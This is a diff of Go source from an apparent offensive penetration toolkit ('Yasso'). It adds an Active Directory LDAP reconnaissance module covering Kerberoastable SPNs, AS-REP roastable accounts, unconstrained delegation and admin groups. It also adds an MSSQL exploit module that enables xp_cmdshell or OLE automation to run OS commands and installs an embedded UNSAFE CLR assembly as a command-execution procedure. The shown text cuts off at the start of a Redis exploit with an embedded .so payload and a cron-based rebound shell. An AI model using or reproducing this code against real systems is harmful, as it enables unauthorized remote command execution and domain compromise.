||||
if err := LdapGroupResolver(t, conn, baseDN, name); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "dc" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "domain-trust" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "spn" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "spn" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "spn" && name != "" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "never-loggedon" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "gpo" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "ou" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "ms-sql" && filter == "list" && name == "" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "ms-sql" && filter == "full-data" && name == "" {
|
||||
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "ms-sql" && name != "" {
|
||||
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "asreproast" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "unconstrained" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
if command == "admin-priv" {
|
||||
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
|
||||
logger.Fatal(err.Error())
|
||||
}
|
||||
}
|
||||
t.Render()
|
||||
return nil
|
||||
}
|
||||
433
pkg/exploit/ldap/core/query/resolver.go
Normal file
433
pkg/exploit/ldap/core/query/resolver.go
Normal file
@@ -0,0 +1,433 @@
|
||||
package query
|
||||
|
||||
import (
|
||||
"Yasso/pkg/exploit/ldap/core/filter"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"github.com/audibleblink/bamflags"
|
||||
"github.com/bwmarrin/go-objectsid"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"gopkg.in/ldap.v2"
|
||||
"math"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// LdapListResolver ldap查询解析器
|
||||
func LdapListResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", LdapQueries[command]),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// 查询到数据
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))},
|
||||
})
|
||||
}
|
||||
t.AppendSeparator()
|
||||
if command == "users" {
|
||||
t.AppendRows([]table.Row{
|
||||
{strconv.Itoa(len(res.Entries)) + "Domain Users Found"},
|
||||
})
|
||||
}
|
||||
if command == "computers" {
|
||||
t.AppendRows([]table.Row{
|
||||
{strconv.Itoa(len(res.Entries)) + " Domain Computers Found"},
|
||||
})
|
||||
}
|
||||
if command == "groups" {
|
||||
t.AppendRows([]table.Row{
|
||||
{strconv.Itoa(len(res.Entries)) + " Domain Groups Found"},
|
||||
})
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// LdapFullResolver ldap的完全解析器
|
||||
func LdapFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", LdapQueries[command]),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
// 查询到数据
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
LdapResolver(m, t)
|
||||
t.AppendSeparator()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// LdapSpecificFullResolver ldap的特殊解析器
|
||||
func LdapSpecificFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
LdapResolver(m, t)
|
||||
t.AppendSeparator()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func LdapUserMemberShipResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
if len(m.GetAttributeValue("memberOf")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Member of: \n\t%s", strings.Join(m.GetAttributeValues("memberOf"), "\n\t"))},
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func LdapGroupDN(conn *ldap.Conn, baseDN string, name string) string {
|
||||
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["specific-groups"], "{SAM}", name)),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
if len(res.Entries) > 0 {
|
||||
for _, m := range res.Entries {
|
||||
return m.DN
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func LdapGroupResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string) error {
|
||||
result, err := conn.SearchWithPaging(ldap.NewSearchRequest(
|
||||
baseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
math.MaxInt32,
|
||||
0,
|
||||
false,
|
||||
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["group-members"], "{DN}", LdapGroupDN(conn, baseDN, name))),
|
||||
[]string{},
|
||||
nil,
|
||||
), math.MaxInt32)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
if len(result.Entries) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{"Domain users in group: "},
|
||||
})
|
||||
for _, m := range result.Entries {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))},
|
||||
})
|
||||
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
func LdapParse(attr int64, Map map[int]string) []string {
|
||||
values, err := bamflags.ParseInt(attr)
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
var all []string
|
||||
for _, value := range values {
|
||||
if propName := Map[value]; propName != "" {
|
||||
all = append(all, propName)
|
||||
}
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func LdapGUID(b []byte) (string, error) {
|
||||
if len(b) != 16 {
|
||||
return "", fmt.Errorf("guid must be 16 bytes")
|
||||
}
|
||||
return fmt.Sprintf(
|
||||
"%08x-%04x-%04x-%04x-%012x",
|
||||
binary.LittleEndian.Uint32(b[:4]),
|
||||
binary.LittleEndian.Uint16(b[4:6]),
|
||||
binary.LittleEndian.Uint16(b[6:8]),
|
||||
b[8:10],
|
||||
b[10:]), nil
|
||||
}
|
||||
|
||||
func LdapSID(b []byte) (string, error) {
|
||||
if len(b) < 12 {
|
||||
return "", fmt.Errorf("[+]Invalid Windows SID")
|
||||
}
|
||||
sid := objectsid.Decode(b)
|
||||
return sid.String(), nil
|
||||
}
|
||||
|
||||
// LdapResolver ldap的解析器
|
||||
func LdapResolver(entry *ldap.Entry, t table.Writer) {
|
||||
// DN
|
||||
if len(entry.DN) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("DN: %s", entry.DN)},
|
||||
})
|
||||
}
|
||||
// 用户名
|
||||
if len(entry.GetAttributeValue("sAMAccountName")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("SAM Account Name: %s", entry.GetAttributeValue("sAMAccountName"))},
|
||||
})
|
||||
}
|
||||
// 用户名类型
|
||||
if len(entry.GetAttributeValue("sAMAccountType")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("SAM Account Type: %s", entry.GetAttributeValue("sAMAccountType"))},
|
||||
})
|
||||
}
|
||||
// Mail
|
||||
if len(entry.GetAttributeValue("mail")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Mail ID: %s", entry.GetAttributeValue("mail"))},
|
||||
})
|
||||
}
|
||||
// UID
|
||||
if len(entry.GetAttributeValue("uid")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("UID: %s", entry.GetAttributeValue("uid"))},
|
||||
})
|
||||
}
|
||||
// OU
|
||||
if len(entry.GetAttributeValue("ou")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("OU: %s", entry.GetAttributeValue("ou"))},
|
||||
})
|
||||
}
|
||||
// CN
|
||||
if len(entry.GetAttributeValue("cn")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("CN: %s", entry.GetAttributeValue("cn"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("givenName")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Given Name: %s", entry.GetAttributeValue("givenName"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("sn")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("SN: %s", entry.GetAttributeValue("sn"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("description")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Description: %s", entry.GetAttributeValue("description"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("title")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Title: %s", entry.GetAttributeValue("title"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("c")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Country: %s", entry.GetAttributeValue("c"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("co")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Country Code: %s", entry.GetAttributeValue("co"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("l")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("City: %s", entry.GetAttributeValue("l"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("st")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("State: %s", entry.GetAttributeValue("st"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("streetAddress")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Street Address: %s", entry.GetAttributeValue("streetAddress"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("postalCode")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Postal Code: %s", entry.GetAttributeValue("postalCode"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("postOfficeBox")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Post Office Box: %s", entry.GetAttributeValue("postOfficeBox"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("company")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Company: %s", entry.GetAttributeValue("company"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("instanceType")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Instance Type: %s", entry.GetAttributeValue("instanceType"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("objectClass")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Object Class: %s", strings.Join(entry.GetAttributeValues("objectClass"), ", "))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("objectCategory")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Object Category: %s", entry.GetAttributeValue("objectCategory"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("memberOf")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Member Of: \n\t%s", strings.Join(entry.GetAttributeValues("memberOf"), "\n\t"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("dNSHostName")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("DNS Host Name: %s", entry.GetAttributeValue("dNSHostName"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("servicePrincipalName")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Service Principal Name (SPN): \n\t%s", strings.Join(entry.GetAttributeValues("servicePrincipalName"), "\n\t"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("operatingSystem")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Operating System: %s", entry.GetAttributeValue("operatingSystem"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("operatingSystemVersion")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Operating System Version: %s", entry.GetAttributeValue("operatingSystemVersion"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("userAccountControl")) > 0 {
|
||||
uacFlag, err := strconv.ParseInt(entry.GetAttributeValue("userAccountControl"), 0, 64)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("UAC Flag: %s", strings.Join(LdapParse(uacFlag, UacFlags)[:], ","))},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("userAccountControl")) > 0 {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("User Account Control: %s", entry.GetAttributeValue("userAccountControl"))},
|
||||
})
|
||||
}
|
||||
if len(entry.GetAttributeValue("trustType")) > 0 {
|
||||
trustType, err := strconv.ParseInt(entry.GetAttributeValue("trustType"), 0, 64)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Trust Type: %s", strings.Join(LdapParse(trustType, TrustType)[:], ","))},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("trustDirection")) > 0 {
|
||||
trustDirection, err := strconv.ParseInt(entry.GetAttributeValue("trustDirection"), 0, 64)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Trust Direction: %s", strings.Join(LdapParse(trustDirection, TrustDirections)[:], ","))},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("trustAttributes")) > 0 {
|
||||
trustAttributes, err := strconv.ParseInt(entry.GetAttributeValue("trustAttributes"), 0, 64)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Trust Attribute: %s", strings.Join(LdapParse(trustAttributes, Trust)[:], ","))},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("objectGUID")) > 0 {
|
||||
guid, err := LdapGUID(entry.GetRawAttributeValue("objectGUID"))
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Object GUID: %s", guid)},
|
||||
})
|
||||
}
|
||||
}
|
||||
if len(entry.GetAttributeValue("objectSid")) > 0 {
|
||||
sidByte := []byte(entry.GetAttributeValue("objectSid"))
|
||||
sid, err := LdapSID(sidByte)
|
||||
if err != nil {
|
||||
//do nothing
|
||||
} else {
|
||||
t.AppendRows([]table.Row{
|
||||
{fmt.Sprintf("Object SID: %s", sid)},
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
44
pkg/exploit/ldap/ldap.go
Normal file
44
pkg/exploit/ldap/ldap.go
Normal file
@@ -0,0 +1,44 @@
|
||||
package ldap
|
||||
|
||||
import (
|
||||
"Yasso/pkg/exploit/ldap/core/query"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// LdapAuthAndQuery ldap 认证并且查询目标
|
||||
// 设置参数 command , filter, user , password, dc host , name
|
||||
func LdapAuthAndQuery(ldapServer, ldapUser, ldapPassword, command, filter, name string, all bool) {
|
||||
s := strings.Split(ldapServer, ".")
|
||||
baseDN := ""
|
||||
for x := 1; x < len(s); x++ {
|
||||
if x == len(s)-1 {
|
||||
baseDN += "DC=" + s[x]
|
||||
} else {
|
||||
baseDN += "DC=" + s[x] + ","
|
||||
}
|
||||
}
|
||||
ldapServer = fmt.Sprintf("%s:389", ldapServer)
|
||||
query.LdapListQuery(ldapServer, ldapUser, ldapPassword, baseDN, command, filter, name, all)
|
||||
}
|
||||
|
||||
func ListLdapCommand() {
|
||||
fmt.Println(" 可执行的查询命令")
|
||||
fmt.Println(" dc - 列出域控制器")
|
||||
fmt.Println(" domain-trust - 列出域信任关系")
|
||||
fmt.Println(" users - 列出域内全部用户")
|
||||
fmt.Println(" computers - 列出域内全部计算机")
|
||||
fmt.Println(" groups - 列出域内组和成员")
|
||||
fmt.Println(" spn - 列出服务的spn对象")
|
||||
fmt.Println(" never-loggedon - 列出域内从未登陆过的用户")
|
||||
fmt.Println(" gpo - 列出gpo规则对象")
|
||||
fmt.Println(" ou - 列出组织单位")
|
||||
fmt.Println(" ms-sql - 列出SQL Server服务(注册的)")
|
||||
fmt.Println(" asreproast - 列出AS-REP可托管账户")
|
||||
fmt.Println(" unconstrained - 列出不受约束委派的用户")
|
||||
fmt.Println(" admin-priv - 列出域内管理员权限组")
|
||||
fmt.Println(" 可执行的过滤器指令(users,groups,computers)")
|
||||
fmt.Println(" list - 仅仅列出全部对象")
|
||||
fmt.Println(" full-data - 列出全部对象带有对象属性")
|
||||
fmt.Println(" membership - 列出全部的成员从一个对象当中")
|
||||
}
|
||||
213
pkg/exploit/mssql/mssql.go
Normal file
213
pkg/exploit/mssql/mssql.go
Normal file
@@ -0,0 +1,213 @@
|
||||
package mssql
|
||||
|
||||
import (
|
||||
config2 "Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"database/sql"
|
||||
_ "embed"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
//go:embed static/SharpSQLKit.txt
|
||||
var SharpSQLKit string
|
||||
|
||||
func ExploitMssql(exploits config.Exploits, method int, Command string) {
|
||||
var (
|
||||
conn = new(setting)
|
||||
)
|
||||
mssqlConn, status, err := plugin.MssqlConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1000 * time.Millisecond,
|
||||
}, exploits.User, exploits.Pass)
|
||||
if status == false || err != nil {
|
||||
logger.Fatal("conn mssql failed")
|
||||
return
|
||||
}
|
||||
|
||||
switch method {
|
||||
case 1:
|
||||
conn.Setting(mssqlConn)
|
||||
conn.xp_shell(Command)
|
||||
case 2:
|
||||
conn.Setting(mssqlConn)
|
||||
conn.sp_shell(Command)
|
||||
case 3:
|
||||
conn.Setting(mssqlConn)
|
||||
conn.Install_clr()
|
||||
case 4:
|
||||
conn.Setting(mssqlConn)
|
||||
conn.Uninstall_clr()
|
||||
default:
|
||||
logger.Fatal("not found mssql exploit method")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (s *setting) Setting(conn *sql.DB) {
|
||||
s.Conn = conn
|
||||
}
|
||||
|
||||
type setting struct {
|
||||
Conn *sql.DB
|
||||
Command string
|
||||
}
|
||||
|
||||
func (s *setting) xp_shell(Command string) bool {
|
||||
|
||||
if s.set_configuration("xp_cmdshell", 0) && !s.enable_xp_cmdshell() {
|
||||
return false
|
||||
}
|
||||
logger.Success(fmt.Sprintf("Command: %v", Command))
|
||||
var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command)
|
||||
r, err := config.SQLExecute(s.Conn, sqlstr)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("exec xp_cmdshell command failed %v", err))
|
||||
return false
|
||||
}
|
||||
for _, b := range r.Rows {
|
||||
fmt.Println(b[0])
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) sp_shell(Command string) bool {
|
||||
if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
|
||||
return false
|
||||
}
|
||||
var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
|
||||
exec sp_oacreate 'wscript.shell',@shell output
|
||||
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
|
||||
exec sp_oamethod @exec, 'StdOut', @text out;
|
||||
exec sp_oamethod @text, 'ReadAll', @str out
|
||||
select @str`, Command)
|
||||
logger.Success(fmt.Sprintf("Command: %v", Command))
|
||||
r, err := config.SQLExecute(s.Conn, sqlstr)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("exec ole command failed %v", err))
|
||||
return false
|
||||
}
|
||||
for i, b := range r.Rows {
|
||||
fmt.Println(b[i])
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Enable_ole() bool {
|
||||
if !s.set_configuration("show advanced options", 1) {
|
||||
logger.Fatal("cannot enable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("Ole Automation Procedures", 1) {
|
||||
logger.Fatal("cannot enable 'Ole Automation Procedures'")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) check_configuration(option string, value int) bool {
|
||||
var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option)
|
||||
r, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (s *setting) set_configuration(option string, value int) bool {
|
||||
// 设置
|
||||
var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value)
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return s.check_configuration(option, value)
|
||||
}
|
||||
|
||||
func (s *setting) set_permission_set() bool {
|
||||
var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
|
||||
logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON")
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON Failed")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) enable_xp_cmdshell() bool {
|
||||
if !s.set_configuration("show advanced options", 1) {
|
||||
logger.Fatal("cannot ebable 'show advanced options'")
|
||||
return false
|
||||
}
|
||||
if !s.set_configuration("xp_cmdshell", 1) {
|
||||
logger.Fatal("cannot enable 'xp_cmdshell'")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Install_clr() bool {
|
||||
if !s.set_permission_set() {
|
||||
return false
|
||||
}
|
||||
if !s.CREATE_ASSEMBLY() {
|
||||
return false
|
||||
}
|
||||
if !s.CREATE_PROCEDURE() {
|
||||
return false
|
||||
}
|
||||
logger.Info("Install SharpSQLKit successful!")
|
||||
logger.Info("Please Use SQL Connect Tools to Execute")
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) CREATE_ASSEMBLY() bool {
|
||||
var KitHex string
|
||||
logger.Info("SQLKit ==> SharpSQLKit")
|
||||
KitHex = SharpSQLKit
|
||||
var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
|
||||
AUTHORIZATION [dbo]
|
||||
FROM 0x%s
|
||||
WITH PERMISSION_SET = UNSAFE;`, KitHex)
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Import the assembly failed %v", err))
|
||||
return false
|
||||
}
|
||||
logger.Info("Import the assembly")
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) CREATE_PROCEDURE() bool {
|
||||
var Command string
|
||||
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Link the assembly to a stored procedure failed %v", err))
|
||||
return false
|
||||
}
|
||||
logger.Info("Link the assembly to a stored procedure")
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *setting) Uninstall_clr() bool {
|
||||
var Command string
|
||||
logger.Info("SQLKit ==> SharpSQLKit")
|
||||
Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
|
||||
drop assembly CLR_module`)
|
||||
_, err := config.SQLExecute(s.Conn, Command)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("Uninstall SQLKit failed %v", err))
|
||||
return false
|
||||
}
|
||||
logger.Info("uninstall SQLKit successful!")
|
||||
return true
|
||||
}
|
||||
499
pkg/exploit/redis/redis.go
Normal file
499
pkg/exploit/redis/redis.go
Normal file
@@ -0,0 +1,499 @@
|
||||
package redis
|
||||
|
||||
import (
|
||||
config2 "Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/plugin"
|
||||
"Yasso/pkg/exploit/config"
|
||||
"bufio"
|
||||
"context"
|
||||
_ "embed"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/go-redis/redis/v8"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
//go:embed static/exp.so
|
||||
var payload []byte
|
||||
|
||||
func ExploitRedis(exploits config.Exploits, method int, rebound, filename string, Listen string, soPath string) {
|
||||
var conn net.Conn
|
||||
var err error
|
||||
var status bool
|
||||
switch method {
|
||||
case 1: // redis写定时计划
|
||||
if exploits.Pass == "" {
|
||||
conn, status, err = plugin.RedisUnAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
||||
Timeout: 1 * time.Second,
|
||||
}, "", "")
|
||||
} else {
|
||||
conn, status, err = plugin.RedisAuthConn(config2.ServiceConn{
|
||||
Hostname: exploits.Hostname,
|
||||
Port: exploits.Port,
|
